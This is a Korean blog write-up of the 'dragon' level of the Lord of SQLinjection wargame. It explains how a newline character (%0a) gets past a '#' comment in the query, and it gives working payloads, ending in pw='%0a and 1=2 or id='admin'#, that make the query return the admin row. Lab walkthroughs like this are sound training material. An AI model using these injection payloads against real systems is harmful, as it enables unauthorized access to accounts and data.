이번 문제는 보자마자 Hello guest로 고정이 되어있다. 

쿼리문을 보면 id = 'guest' # 로 주석처리가 되어있어서 pw에 그 어떤 값을 넣어도 주석처리되어 실행되지 않았다.

id = 'guest' # 을 어떻게 내가 바꿀 수 없기에 생각했던 방법이 개행을 통한 주석처리 우회였다.

sql 테스트 페이지에서 개행을 시도해보았다. 비슷한 구조로 쿼리를 짰다.

일단, 우리는 위에 해결해야 하는 쿼리에서 id = guest가 아닌 id = admin인 결과가 필요하다. 

이 테스트에서는 id = 1이 고정되어있는데, id = 2 결과를 출력해야 하는 셈이다. 그러면 id = 1 인 쿼리를 false로 만들고 or를 통해 id = 2 를 실행시켜야 한다.

# 이하는 주황색으로 주석처리 되었지만, 그 뒤에 오는 and 1=2 로 false를 만들고

or id = 2 를 통해 where id = 2 로 결국 만든거다.

 

본격적으로 풀면 먼저 개행을 시켜보자

pw에 어떤 값이 들어가던지 주석처리로 인해 id = 'guest' 까지만 유효하다

payload : pw=%0a

개행문자 (\n) 인 %0a 를 입력하니 더이상 Hello guest 문구가 보이질 않는다..... 그 이유는

select id from prob_dragon where id='guest'# and pw='
'

사실상 위에 코드처럼 개행이 된 것이다.  (문구안보임)

그 이유는 개행 후 두번째 라인이 싱글쿼터 짝이 유효하지 않기 때문이다.

payload : pw=%0a'

반면 싱글쿼터로 닫으려고 하니 오히려 hello guest가 보인다..

select id from prob_dragon where id='guest'# and pw='
''

그 이유는 위 코드와 같이 첫번째 select문은 정상 실행되고 뒤에 오는 싱글쿼터는 짝이 맞게 떨어지니까 id = 'guest'가 실행된다.

 

어쨌든 개행이 잘 적용되므로, id = 'guest' 를 무력화해보자.

payload : pw=' %0a and 1=2 #

and 1=2 를 통해 앞 쿼리문을 무력화한다.

select id from prob_dragon where id='guest'# and pw=''
and 1=2 #'

반대로,

and 1=1 을 해주면 모두 참이 되므로 id = 'guest'가 유효하게 된다.

select id from prob_dragon where id='guest'# and pw=''
and 1=1 #'

 

그러면, id = 'guest'를 무효화했으니 id = 'admin'을 넣어주자.

payload : pw= '%0a and 1=2 or id = 'admin'#

 

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step22. dark_eyes 풀이  (0) 2023.06.20
[LOS] step21. iron_golem 풀이  (1) 2023.06.19
[LOS] step19. xvais 풀이  (1) 2023.06.15
[LOS] step18. nightmare 풀이  (0) 2023.06.14
[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14

+ Recent posts